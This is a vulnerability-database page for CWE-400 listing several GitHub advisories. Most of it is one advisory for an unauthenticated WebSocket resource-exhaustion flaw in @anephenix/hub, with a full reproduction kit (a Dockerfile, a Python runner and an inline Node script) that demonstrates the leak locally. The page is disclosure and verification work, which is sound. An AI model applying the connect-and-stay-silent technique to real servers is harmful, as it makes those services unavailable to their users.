Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5597 vulnerabilities reference this CWE, most recent first.

GHSA-G5VV-Q72C-7J78

Vulnerability from github – Published: 2026-07-24 21:47 – Updated: 2026-07-24 21:47
VLAI
Summary
@anephenix/hub: Unauthenticated WebSocket RPC Waiter Resource Exhaustion
Details

Summary

@anephenix/hub starts a setInterval polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies — which requires no authentication or special configuration — the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).

Details

When a client connects, loadDefaultConnectionEventListeners (registered in src/lib/index.ts:128) adds a connection listener that calls requestClientId({ ws, rpc }) for every new WebSocket (src/lib/index.ts:262). requestClientId issues an RPC send for the get-client-id action (src/lib/clientId.ts:112), which internally calls rpc.send.

Inside rpc.send, the payload is pushed onto this.requests (src/lib/rpc.ts:282) and waitForReply is invoked. waitForReply starts a setInterval that polls responses[] every 10 ms for a matching reply (src/lib/rpc.ts:250):

// src/lib/rpc.ts:250–267
interval = setInterval(() => {
    const response = responses.find(
        (r) => r.id === id && r.action === action,
    );
    if (response) {
        if (interval) clearInterval(interval);
        // ... resolve and cleanup
        this.cleanupRPCCall(response);
    }
}, 10);

clearInterval is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the this.requests entry. The close handler registered in loadDefaultConnectionEventListeners (src/lib/index.ts:128–134) only calls pubsub.unsubscribeClientFromAllChannels; it does not cancel pending RPC requests for that socket.

Data flow (source → sink):

  1. src/lib/index.ts:269 — wss.on("connection") accepts any remote WebSocket (no authentication).
  2. src/lib/index.ts:272 — connection listeners are iterated and invoked.
  3. src/lib/index.ts:262 — requestClientId({ ws, rpc: this.rpc }) is called for every connection by default.
  4. src/lib/clientId.ts:112 — rpc.send({ ws, action: 'get-client-id' }) creates an RPC request.
  5. src/lib/rpc.ts:282 — this.requests.push(payload) registers the pending request.
  6. src/lib/rpc.ts:250 — setInterval(..., 10) begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.

PoC

Prerequisites: Docker must be available on the host.

Step 1 — Build the verification image:

docker build --no-cache \
  -f vuln-001/Dockerfile \
  -t hub-vuln-001:latest \
  reports/npm_web_272_anephenix__hub

Step 2 — Run the container:

docker run --rm --network none hub-vuln-001:latest

The container runs verify.mjs, which: 1. Starts a Hub server on a local port. 2. Opens a WebSocket and waits for the server's get-client-id RPC message without replying. 3. Closes the socket and waits 300 ms. 4. Inspects hub.rpc.requests.length — it must remain 1 even though hub.wss.clients.size is 0. 5. Opens five more sockets the same way (batch), then verifies that pendingRpcRequests equals 6.

Step 3 — Alternatively, run the Python orchestrator directly:

python3 vuln-001/poc.py

Expected output (confirmed):

{
  "snapshotAfterClose":  {"clientState": 3, "serverClients": 0, "pendingRpcRequests": 1},
  "snapshotAfterBatch":  {"serverClients": 0, "pendingRpcRequests": 6, "expectedPendingRpcRequests": 6}
}

pendingRpcRequests grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.

Minimal inline reproduction (without Docker, inside the repository after npm ci && npm run build):

node --input-type=module - <<'EOF'
import Hub from './dist/esm/index.js';
import { WebSocket } from 'ws';

const port = 8766;
const hub = new Hub({ port });
hub.listen();
const ws = new WebSocket(`ws://localhost:${port}`);

await new Promise((resolve) => ws.once('message', resolve));
ws.close();
await new Promise((resolve) => setTimeout(resolve, 300));
console.log(JSON.stringify({
  serverClients:      hub.wss.clients.size,
  pendingRpcRequests: hub.rpc.requests.length,
}));
hub.server.close();
process.exit(0);
EOF

Expected:

{"serverClients": 0, "pendingRpcRequests": 1}

Impact

This is an unauthenticated Denial-of-Service vulnerability. Any network-reachable @anephenix/hub server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server's get-client-id RPC causes the server process to accumulate one setInterval timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.

No authentication, special headers, or knowledge of internal protocol details are required — a plain WebSocket connect followed by silence is sufficient.

Reproduction artifacts

Dockerfile

FROM node:20-alpine

RUN apk add --no-cache python3 make g++

WORKDIR /app

# Install dependencies first for layer caching
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --ignore-scripts

# Copy the rest of the source and build
COPY repo/ ./
RUN npm run build

# Copy the vulnerability verification script into /app so node_modules is resolvable
COPY vuln-001/verify.mjs /app/verify.mjs

CMD ["node", "/app/verify.mjs"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion
(@anephenix/hub v0.2.15)

Builds a Docker image containing the hub library and a verification script,
then runs the container to produce deterministic evidence that
hub.rpc.requests[] entries (and their backing setInterval timers) are never
cleaned up when a WebSocket client disconnects without replying to the
server's "get-client-id" RPC request.

Usage:
    python3 poc.py

Exit codes:
    0  — vulnerability confirmed (PASS)
    1  — not reproduced (FAIL)
    2  — environment / build error
"""

import json
import subprocess
import sys
from pathlib import Path

# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT   = SCRIPT_DIR.parent              # …/npm_web_272_anephenix__hub/
DOCKERFILE  = SCRIPT_DIR / "Dockerfile"
POC_TAG     = "hub-vuln-001:latest"

BUILD_CMD = [
    "docker", "build",
    "--no-cache",
    "-f", str(DOCKERFILE),
    "-t", POC_TAG,
    str(REPO_ROOT),   # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve
]

RUN_CMD = [
    "docker", "run",
    "--rm",
    "--network", "none",  # no external network access needed
    POC_TAG,
]


def banner(msg: str) -> None:
    print(f"\n{'='*60}\n  {msg}\n{'='*60}")


def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
    print("$", " ".join(cmd))
    return subprocess.run(cmd, **kwargs)


def build_image() -> None:
    banner("Phase 1 — Building Docker image")
    result = run(BUILD_CMD, capture_output=False)
    if result.returncode != 0:
        print("[ERROR] Docker build failed.", file=sys.stderr)
        sys.exit(2)
    print("[OK] Image built:", POC_TAG)


def run_poc() -> dict:
    banner("Phase 2 — Running vulnerability verification inside container")
    result = run(RUN_CMD, capture_output=True, text=True)

    print("--- container stdout ---")
    print(result.stdout)
    if result.stderr:
        print("--- container stderr ---")
        print(result.stderr)

    # The container exits 0 on confirmed leak, 1 otherwise.
    if result.returncode == 2:
        print("[ERROR] Verification script crashed.", file=sys.stderr)
        sys.exit(2)

    try:
        data = json.loads(result.stdout)
    except json.JSONDecodeError as exc:
        print(f"[ERROR] Could not parse container output as JSON: {exc}", file=sys.stderr)
        sys.exit(2)

    return data, result.returncode


def evaluate(data: dict, container_exit: int) -> tuple[bool, str]:
    """Return (passed, evidence_summary)."""
    after_close = data.get("snapshotAfterClose", {})
    after_batch  = data.get("snapshotAfterBatch", {})

    leaked_single = (
        after_close.get("pendingRpcRequests", 0) > 0 and
        after_close.get("serverClients", -1) == 0 and
        after_close.get("clientState", -1) == 3          # WebSocket.CLOSED
    )

    leaked_batch = (
        after_batch.get("pendingRpcRequests", 0) ==
        after_batch.get("expectedPendingRpcRequests", -1)
    )

    passed = leaked_single and leaked_batch and container_exit == 0

    evidence = (
        f"snapshotAfterClose={json.dumps(after_close)}; "
        f"snapshotAfterBatch={json.dumps(after_batch)}; "
        f"container_exit={container_exit}"
    )
    return passed, evidence


def main() -> None:
    build_image()
    data, container_exit = run_poc()

    banner("Phase 3 — Evaluating results")
    passed, evidence = evaluate(data, container_exit)

    if passed:
        print("[PASS] Leak confirmed: RPC waiter entries persist after socket close.")
    else:
        print("[FAIL] Leak NOT observed — check container output above.")

    return passed, evidence, data


if __name__ == "__main__":
    passed, evidence, raw = main()

    verdict = "PASS" if passed else "FAIL"
    reason = (
        "소켓이 닫힌 뒤에도 hub.rpc.requests[] 항목과 setInterval 타이머가 해제되지 않음이 "
        "런타임 검사로 확인됨. 단일 연결에서 pendingRpcRequests=1이 유지되고, "
        "배치 5개 추가 후 총 6개가 누적되어 선형 리소스 누수가 증명됨."
        if passed else
        "컨테이너 실행 결과에서 결정적 증거를 확보하지 못했음."
    )

    result_path = SCRIPT_DIR / "phase2_result.json"
    phase2 = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": " ".join(BUILD_CMD),
        "run_command": " ".join(RUN_CMD),
        "poc_command": f"python3 {Path(__file__).name}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "verify.mjs", "poc.py"],
    }

    result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False))
    print(f"\n[INFO] Results written to {result_path}")

    sys.exit(0 if passed else 1)
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@anephenix/hub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:47:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`@anephenix/hub` starts a `setInterval` polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies \u2014 which requires no authentication or special configuration \u2014 the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).\n\n### Details\n\nWhen a client connects, `loadDefaultConnectionEventListeners` (registered in `src/lib/index.ts:128`) adds a connection listener that calls `requestClientId({ ws, rpc })` for every new WebSocket (`src/lib/index.ts:262`). `requestClientId` issues an RPC send for the `get-client-id` action (`src/lib/clientId.ts:112`), which internally calls `rpc.send`.\n\nInside `rpc.send`, the payload is pushed onto `this.requests` (`src/lib/rpc.ts:282`) and `waitForReply` is invoked. `waitForReply` starts a `setInterval` that polls `responses[]` every 10 ms for a matching reply (`src/lib/rpc.ts:250`):\n\n```ts\n// src/lib/rpc.ts:250\u2013267\ninterval = setInterval(() =\u003e {\n    const response = responses.find(\n        (r) =\u003e r.id === id \u0026\u0026 r.action === action,\n    );\n    if (response) {\n        if (interval) clearInterval(interval);\n        // ... resolve and cleanup\n        this.cleanupRPCCall(response);\n    }\n}, 10);\n```\n\n`clearInterval` is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the `this.requests` entry. The `close` handler registered in `loadDefaultConnectionEventListeners` (`src/lib/index.ts:128\u2013134`) only calls `pubsub.unsubscribeClientFromAllChannels`; it does not cancel pending RPC requests for that socket.\n\n**Data flow (source \u2192 sink):**\n\n1. `src/lib/index.ts:269` \u2014 `wss.on(\"connection\")` accepts any remote WebSocket (no authentication).\n2. `src/lib/index.ts:272` \u2014 connection listeners are iterated and invoked.\n3. `src/lib/index.ts:262` \u2014 `requestClientId({ ws, rpc: this.rpc })` is called for every connection by default.\n4. `src/lib/clientId.ts:112` \u2014 `rpc.send({ ws, action: \u0027get-client-id\u0027 })` creates an RPC request.\n5. `src/lib/rpc.ts:282` \u2014 `this.requests.push(payload)` registers the pending request.\n6. `src/lib/rpc.ts:250` \u2014 `setInterval(..., 10)` begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.\n\n### PoC\n\n**Prerequisites:** Docker must be available on the host.\n\n**Step 1 \u2014 Build the verification image:**\n\n```bash\ndocker build --no-cache \\\n  -f vuln-001/Dockerfile \\\n  -t hub-vuln-001:latest \\\n  reports/npm_web_272_anephenix__hub\n```\n\n**Step 2 \u2014 Run the container:**\n\n```bash\ndocker run --rm --network none hub-vuln-001:latest\n```\n\nThe container runs `verify.mjs`, which:\n1. Starts a `Hub` server on a local port.\n2. Opens a WebSocket and waits for the server\u0027s `get-client-id` RPC message without replying.\n3. Closes the socket and waits 300 ms.\n4. Inspects `hub.rpc.requests.length` \u2014 it must remain `1` even though `hub.wss.clients.size` is `0`.\n5. Opens five more sockets the same way (batch), then verifies that `pendingRpcRequests` equals `6`.\n\n**Step 3 \u2014 Alternatively, run the Python orchestrator directly:**\n\n```bash\npython3 vuln-001/poc.py\n```\n\n**Expected output (confirmed):**\n\n```json\n{\n  \"snapshotAfterClose\":  {\"clientState\": 3, \"serverClients\": 0, \"pendingRpcRequests\": 1},\n  \"snapshotAfterBatch\":  {\"serverClients\": 0, \"pendingRpcRequests\": 6, \"expectedPendingRpcRequests\": 6}\n}\n```\n\n`pendingRpcRequests` grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.\n\n**Minimal inline reproduction** (without Docker, inside the repository after `npm ci \u0026\u0026 npm run build`):\n\n```bash\nnode --input-type=module - \u003c\u003c\u0027EOF\u0027\nimport Hub from \u0027./dist/esm/index.js\u0027;\nimport { WebSocket } from \u0027ws\u0027;\n\nconst port = 8766;\nconst hub = new Hub({ port });\nhub.listen();\nconst ws = new WebSocket(`ws://localhost:${port}`);\n\nawait new Promise((resolve) =\u003e ws.once(\u0027message\u0027, resolve));\nws.close();\nawait new Promise((resolve) =\u003e setTimeout(resolve, 300));\nconsole.log(JSON.stringify({\n  serverClients:      hub.wss.clients.size,\n  pendingRpcRequests: hub.rpc.requests.length,\n}));\nhub.server.close();\nprocess.exit(0);\nEOF\n```\n\nExpected:\n\n```json\n{\"serverClients\": 0, \"pendingRpcRequests\": 1}\n```\n\n### Impact\n\nThis is an **unauthenticated Denial-of-Service** vulnerability. Any network-reachable `@anephenix/hub` server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server\u0027s `get-client-id` RPC causes the server process to accumulate one `setInterval` timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.\n\nNo authentication, special headers, or knowledge of internal protocol details are required \u2014 a plain WebSocket `connect` followed by silence is sufficient.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-alpine\n\nRUN apk add --no-cache python3 make g++\n\nWORKDIR /app\n\n# Install dependencies first for layer caching\nCOPY repo/package.json repo/package-lock.json ./\nRUN npm ci --ignore-scripts\n\n# Copy the rest of the source and build\nCOPY repo/ ./\nRUN npm run build\n\n# Copy the vulnerability verification script into /app so node_modules is resolvable\nCOPY vuln-001/verify.mjs /app/verify.mjs\n\nCMD [\"node\", \"/app/verify.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC \u2014 Unauthenticated WebSocket RPC Waiter Resource Exhaustion\n(@anephenix/hub v0.2.15)\n\nBuilds a Docker image containing the hub library and a verification script,\nthen runs the container to produce deterministic evidence that\nhub.rpc.requests[] entries (and their backing setInterval timers) are never\ncleaned up when a WebSocket client disconnects without replying to the\nserver\u0027s \"get-client-id\" RPC request.\n\nUsage:\n    python3 poc.py\n\nExit codes:\n    0  \u2014 vulnerability confirmed (PASS)\n    1  \u2014 not reproduced (FAIL)\n    2  \u2014 environment / build error\n\"\"\"\n\nimport json\nimport subprocess\nimport sys\nfrom pathlib import Path\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\nSCRIPT_DIR = Path(__file__).resolve().parent\nREPO_ROOT   = SCRIPT_DIR.parent              # \u2026/npm_web_272_anephenix__hub/\nDOCKERFILE  = SCRIPT_DIR / \"Dockerfile\"\nPOC_TAG     = \"hub-vuln-001:latest\"\n\nBUILD_CMD = [\n    \"docker\", \"build\",\n    \"--no-cache\",\n    \"-f\", str(DOCKERFILE),\n    \"-t\", POC_TAG,\n    str(REPO_ROOT),   # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve\n]\n\nRUN_CMD = [\n    \"docker\", \"run\",\n    \"--rm\",\n    \"--network\", \"none\",  # no external network access needed\n    POC_TAG,\n]\n\n\ndef banner(msg: str) -\u003e None:\n    print(f\"\\n{\u0027=\u0027*60}\\n  {msg}\\n{\u0027=\u0027*60}\")\n\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n    print(\"$\", \" \".join(cmd))\n    return subprocess.run(cmd, **kwargs)\n\n\ndef build_image() -\u003e None:\n    banner(\"Phase 1 \u2014 Building Docker image\")\n    result = run(BUILD_CMD, capture_output=False)\n    if result.returncode != 0:\n        print(\"[ERROR] Docker build failed.\", file=sys.stderr)\n        sys.exit(2)\n    print(\"[OK] Image built:\", POC_TAG)\n\n\ndef run_poc() -\u003e dict:\n    banner(\"Phase 2 \u2014 Running vulnerability verification inside container\")\n    result = run(RUN_CMD, capture_output=True, text=True)\n\n    print(\"--- container stdout ---\")\n    print(result.stdout)\n    if result.stderr:\n        print(\"--- container stderr ---\")\n        print(result.stderr)\n\n    # The container exits 0 on confirmed leak, 1 otherwise.\n    if result.returncode == 2:\n        print(\"[ERROR] Verification script crashed.\", file=sys.stderr)\n        sys.exit(2)\n\n    try:\n        data = json.loads(result.stdout)\n    except json.JSONDecodeError as exc:\n        print(f\"[ERROR] Could not parse container output as JSON: {exc}\", file=sys.stderr)\n        sys.exit(2)\n\n    return data, result.returncode\n\n\ndef evaluate(data: dict, container_exit: int) -\u003e tuple[bool, str]:\n    \"\"\"Return (passed, evidence_summary).\"\"\"\n    after_close = data.get(\"snapshotAfterClose\", {})\n    after_batch  = data.get(\"snapshotAfterBatch\", {})\n\n    leaked_single = (\n        after_close.get(\"pendingRpcRequests\", 0) \u003e 0 and\n        after_close.get(\"serverClients\", -1) == 0 and\n        after_close.get(\"clientState\", -1) == 3          # WebSocket.CLOSED\n    )\n\n    leaked_batch = (\n        after_batch.get(\"pendingRpcRequests\", 0) ==\n        after_batch.get(\"expectedPendingRpcRequests\", -1)\n    )\n\n    passed = leaked_single and leaked_batch and container_exit == 0\n\n    evidence = (\n        f\"snapshotAfterClose={json.dumps(after_close)}; \"\n        f\"snapshotAfterBatch={json.dumps(after_batch)}; \"\n        f\"container_exit={container_exit}\"\n    )\n    return passed, evidence\n\n\ndef main() -\u003e None:\n    build_image()\n    data, container_exit = run_poc()\n\n    banner(\"Phase 3 \u2014 Evaluating results\")\n    passed, evidence = evaluate(data, container_exit)\n\n    if passed:\n        print(\"[PASS] Leak confirmed: RPC waiter entries persist after socket close.\")\n    else:\n        print(\"[FAIL] Leak NOT observed \u2014 check container output above.\")\n\n    return passed, evidence, data\n\n\nif __name__ == \"__main__\":\n    passed, evidence, raw = main()\n\n    verdict = \"PASS\" if passed else \"FAIL\"\n    reason = (\n        \"\uc18c\ucf13\uc774 \ub2eb\ud78c \ub4a4\uc5d0\ub3c4 hub.rpc.requests[] \ud56d\ubaa9\uacfc setInterval \ud0c0\uc774\uba38\uac00 \ud574\uc81c\ub418\uc9c0 \uc54a\uc74c\uc774 \"\n        \"\ub7f0\ud0c0\uc784 \uac80\uc0ac\ub85c \ud655\uc778\ub428. \ub2e8\uc77c \uc5f0\uacb0\uc5d0\uc11c pendingRpcRequests=1\uc774 \uc720\uc9c0\ub418\uace0, \"\n        \"\ubc30\uce58 5\uac1c \ucd94\uac00 \ud6c4 \ucd1d 6\uac1c\uac00 \ub204\uc801\ub418\uc5b4 \uc120\ud615 \ub9ac\uc18c\uc2a4 \ub204\uc218\uac00 \uc99d\uba85\ub428.\"\n        if passed else\n        \"\ucee8\ud14c\uc774\ub108 \uc2e4\ud589 \uacb0\uacfc\uc5d0\uc11c \uacb0\uc815\uc801 \uc99d\uac70\ub97c \ud655\ubcf4\ud558\uc9c0 \ubabb\ud588\uc74c.\"\n    )\n\n    result_path = SCRIPT_DIR / \"phase2_result.json\"\n    phase2 = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": \" \".join(BUILD_CMD),\n        \"run_command\": \" \".join(RUN_CMD),\n        \"poc_command\": f\"python3 {Path(__file__).name}\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"verify.mjs\", \"poc.py\"],\n    }\n\n    result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False))\n    print(f\"\\n[INFO] Results written to {result_path}\")\n\n    sys.exit(0 if passed else 1)\n```",
  "id": "GHSA-g5vv-q72c-7j78",
  "modified": "2026-07-24T21:47:29Z",
  "published": "2026-07-24T21:47:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anephenix/hub/security/advisories/GHSA-g5vv-q72c-7j78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anephenix/hub/commit/67260d2a1407a77f082f02dc9e1f0891222c306d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anephenix/hub/commit/931576db3cdbf4f1583bd2c3c8759c4f4e032ab3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anephenix/hub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@anephenix/hub: Unauthenticated WebSocket RPC Waiter Resource Exhaustion"
}

GHSA-G5WQ-3R27-V2X7

Vulnerability from github – Published: 2025-01-18 00:30 – Updated: 2025-01-21 18:31
VLAI
Details

In onCreate of EmergencyCallbackModeExitDialog.java, there is a possible way to crash the emergency callback mode due to a missing null check. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-9447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-17T23:15:12Z",
    "severity": "MODERATE"
  },
  "details": "In onCreate of EmergencyCallbackModeExitDialog.java, there is a possible way to crash the emergency callback mode due to a missing null check. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-g5wq-3r27-v2x7",
  "modified": "2025-01-21T18:31:07Z",
  "published": "2025-01-18T00:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9447"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2018-08-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G5WW-5JH7-63CX

Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2025-09-02 19:35
VLAI
Summary
Protobuf Java vulnerable to Uncontrolled Resource Consumption
Details

A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-12T22:33:53Z",
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.",
  "id": "GHSA-g5ww-5jh7-63cx",
  "modified": "2025-09-02T19:35:38Z",
  "published": "2022-12-12T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3509"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/a3888f53317a8018e7a439bac4abeb8f3425d5e9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/blob/v2.6.1/java/core/src/main/java/com/google/protobuf/MessageReflection.java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/blob/v3.0.0/java/core/src/main/java/com/google/protobuf/MessageReflection.java"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protocolbuffers/protobuf/tree/main/java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Protobuf Java vulnerable to Uncontrolled Resource Consumption"
}

GHSA-G656-2879-JQRC

Vulnerability from github – Published: 2023-07-17 03:30 – Updated: 2023-07-17 03:30
VLAI
Details

A vulnerability has been found in OmniSharp csharp-language-server-protocol up to 0.19.6 and classified as problematic. This vulnerability affects the function CreateSerializerSettings of the file src/JsonRpc/Serialization/SerializerBase.cs of the component JSON Serializer. The manipulation leads to resource consumption. Upgrading to version 0.19.7 is able to address this issue. The patch is identified as 7fd2219f194a9ef2a8901bb131c5fa12272305ce. It is recommended to upgrade the affected component. VDB-234238 is the identifier assigned to this vulnerability.

Severity
3.5 (Low)
CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-4952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-17T02:15:09Z",
    "severity": "LOW"
  },
  "details": "A vulnerability has been found in OmniSharp csharp-language-server-protocol up to 0.19.6 and classified as problematic. This vulnerability affects the function CreateSerializerSettings of the file src/JsonRpc/Serialization/SerializerBase.cs of the component JSON Serializer. The manipulation leads to resource consumption. Upgrading to version 0.19.7 is able to address this issue. The patch is identified as 7fd2219f194a9ef2a8901bb131c5fa12272305ce. It is recommended to upgrade the affected component. VDB-234238 is the identifier assigned to this vulnerability.",
  "id": "GHSA-g656-2879-jqrc",
  "modified": "2023-07-17T03:30:20Z",
  "published": "2023-07-17T03:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4952"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OmniSharp/csharp-language-server-protocol/pull/902"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OmniSharp/csharp-language-server-protocol/commit/7fd2219f194a9ef2a8901bb131c5fa12272305ce"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OmniSharp/csharp-language-server-protocol/releases/tag/v0.19.7"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.234238"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.234238"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G669-VF33-57JW

Vulnerability from github – Published: 2022-05-14 02:00 – Updated: 2022-05-14 02:00
VLAI
Details

